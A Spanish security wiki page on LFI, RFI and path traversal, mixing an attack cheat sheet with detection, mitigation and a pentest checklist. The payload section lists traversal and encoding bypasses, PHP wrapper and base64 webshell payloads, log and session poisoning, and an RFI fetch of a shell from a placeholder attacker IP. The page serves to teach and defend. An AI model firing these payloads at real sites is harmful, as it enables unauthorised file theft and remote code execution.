Saltearse al contenido

LFI / RFI & path traversal

Cuando la aplicación usa entrada del usuario para construir una ruta de fichero (o para include/require), el atacante puede salir del directorio previsto (path traversal) para leer ficheros arbitrarios, incluir ficheros locales (LFI) o remotos (RFI). Según el lenguaje y la config, la LFI escala a RCE.

Lectura de ficheros sensibles (/etc/passwd, código fuente, config, claves, logs), y ejecución de código: RFI incluye tu payload remoto; LFI puede ejecutar vía wrappers PHP, log poisoning, ficheros de sesión o /proc.

Dos puntos de entrada: (1) rutas que se devuelven/leen (?file=informe.pdf); (2) inclusiones dinámicas (include($_GET['page'])). El salto se hace con secuencias ../, rutas absolutas o wrappers de protocolo.

../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd # URL-encode
..%252f..%252f # doble URL-encode
....//....// # bypass de filtros que quitan ../
/var/www/html/index.php # ruta absoluta
# (legacy) %00 null byte para cortar sufijos, en versiones antiguas
# Leer código fuente en Base64 (PHP)
php://filter/convert.base64-encode/resource=index.php
# Ejecutar input directo
php://input (POST con <?php system($_GET[c]); ?>)
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=
# Log poisoning: inyecta PHP en un log y luego inclúyelo
# User-Agent: <?php system($_GET[c]); ?> -> include(/var/log/apache2/access.log)
/proc/self/environ # si es incluible y controlas una variable
sess_<id> en /var/lib/php/sessions # session poisoning
# requiere allow_url_include=On (PHP)
?page=http://TU_IP/shell.txt

ffuf/wfuzz (fuzzing de rutas y wrappers), LFISuite, y listas de PayloadsAllTheThings.

Lectura de secretos → acceso a otros sistemas; RCE → pivote y persistencia.

  • Parámetros con ../, %2e%2e, php://, data://, rutas absolutas.
  • Inclusión de logs//proc/ficheros de sesión; peticiones salientes (RFI).

WAF, logs de la app con la ruta construida, y FIM/monitorización de lectura de ficheros sensibles.

  1. No usar entrada del usuario en rutas/inclusiones. Si hay que elegir, lista blanca de ficheros por identificador (mapa id -> ruta).
  2. Normalizar y validar: basename, resolver ruta y comprobar que queda dentro del directorio permitido (canonicalización).
  3. PHP: allow_url_include=Off, allow_url_fopen=Off, open_basedir, deshabilitar wrappers peligrosos.
  4. Mínimo privilegio y chroot/contenedor.

Rotar secretos leídos, buscar webshells (RFI/LFI2RCE), y corregir la construcción de rutas.

  • Path traversal y LFI son endémicos en CMS, plugins, paneles y dispositivos; han sido base de innumerables CVEs (lectura de config/credenciales → compromiso).
  • Varios productos han sufrido traversal pre-auth que exponía ficheros de configuración con credenciales.

CVEs concretos en NVD (https://nvd.nist.gov/vuln/search) y GitHub Advisories (https://github.com/advisories).

  • Traversal probado con codificaciones y bypasses (....//, doble URL).
  • Lectura de fichero sensible confirmada.
  • LFI→RCE probado (wrappers, log/session poisoning) si aplica.
  • RFI probado si allow_url_include está activo.
  • Impacto documentado sin exfiltrar datos reales de terceros.